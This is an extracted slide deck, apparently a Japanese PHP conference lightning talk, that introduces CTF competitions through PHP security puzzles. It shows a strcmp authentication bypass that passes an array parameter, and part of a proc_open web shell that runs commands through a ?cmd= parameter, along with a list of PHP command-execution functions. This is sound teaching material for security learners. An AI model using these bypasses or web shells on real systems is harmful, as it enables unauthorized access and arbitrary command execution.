CTFで学ぶPHPセキュリティ
by
Ryoto Saito
Link
Embed
Share
Beginning
This slide
Copy link URL
Copy link URL
Copy iframe embed code
Copy iframe embed code
Copy javascript embed code
Copy javascript embed code
Share
Tweet
Share
Tweet
Slide 1
Slide 1 text
CTFで学ぶ PHPセキュリティ 2019/3/31 PHPerKaigi ルーキーズLT Ryoto (@systemctl_ryoto) 1
Slide 2
Slide 2 text
CTF - Capture the Flag 2
Slide 3
Slide 3 text
CTF Capture the Flag ● FPSのゲームルール の1種 ● 敵陣のフラッグを自陣 に持ち帰る ● 由来は物理的な遊び ● 転じて… 3
Slide 4
Slide 4 text
CTF Capture the Flag ● 情報セキュリティ的に脆弱な 「何か」が用意される ● その脆弱性を突いてFlagを取得 する競技 ※ Flag = 仮想的な機密文字列 flag{PHP_is_s3cur3!} ↑過去に本当に見たことあるやつ ● 問題ベースで楽しくセキュリティ が勉強できる! ● 徳丸さんの挑戦状もCTF 4
Slide 5
Slide 5 text
PHPer チャレンジ は シェルを 奪えます ls -al /もmysqldumpも実行できる 5
Slide 6
Slide 6 text
CTFの 主要な ジャンル 厳密な分類は大会やサイトによって 微妙に異なる 6 Pwn プログラムの脆弱性を突く Reverse リバースエンジニアリング Forensic パケットやFile systemなど Crypto 暗号解読 Web クライアントからサーバまで
Slide 7
Slide 7 text
Webの CTF 情報セキュリティ的に脆弱な「何か」 ● 「Webサイト」 ● 「ソースコード」 どこが脆弱かはもちろん、どこにFlag があるのかがわからないことも たのしい謎解きの始まり 7
Slide 8
Slide 8 text
CTFのPHP問題例 - 実際の問題の一部分 - 8
Slide 9
Slide 9 text
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 9
Slide 10
Slide 10 text
前提:パスワード認証のソースを入手した include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 言語仕様に関する問題 10
Slide 11
Slide 11 text
言語仕様に関する問題 11
Slide 12
Slide 12 text
言語仕様に関する問題 12
Slide 13
Slide 13 text
言語仕様に関する問題 13 if (strcmp($_GET['password'], PASSWORD) == 0) strcmpは配列や関数などを受け取るとnull+Warningを返す) array(1) { [0] => string(5) "admin" } }
Slide 14
Slide 14 text
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! 先ほどのヒントを踏まえると… 言語仕様に関する問題 14
Slide 15
Slide 15 text
include "define.php"; /* 403 Forbidden */ if (strcmp($_GET['password'], PASSWORD) == 0) { echo FLAG; } 目標:なんとか突破したい! Ans: http://target.host/?password[]= 言語仕様に関する問題 15
Slide 16
Slide 16 text
前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚
Slide 17
Slide 17 text
(注:shell_execと等価なので`cmd`はダメ) 任意コード実行 17
Slide 18
Slide 18 text
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 任意コード実行 18
Slide 19
Slide 19 text
pcntl_exec, exec, popen, passthru, shell_exec, system... proc_open関数がノーマーク 前提:任意の.phpファイルがUpload、実行できる脆弱性が発覚 目的:シェルを奪いたい!(任意コマンドを実行したい) 任意コード実行 19
Slide 20
Slide 20 text
Ans. 以下のPHPファイルをアップロード ["pipe", "w"]], $pipes); echo stream_get_contents($pipes[1]); これを1回アップロードすれば?cmd=...でやりたい放題 任意コード実行 20
Slide 21
Slide 21 text
CTFに興味が湧いてきた人は! 21
Slide 22
Slide 22 text
やってみよう! 22 常設CTF(Web・PHP問題が入門から充実している) ● https://www.root-me.org/en/Challenges/Web-Server/ ● http://websec.fr/ ※ 垢登録するときは捨てパスワードを使いましょう 慣れたらコンテストに参加! ● https://ctftime.org
Slide 23
Slide 23 text
困ったときは 23 CTFでは解答例のことを Write-up と呼びます。 考えてもわからなかったら答えを探すのもあり! ("Write-up"で検索して問題を探す荒技もあり)
Slide 24
Slide 24 text
Thank you! @systemctl_ryoto 24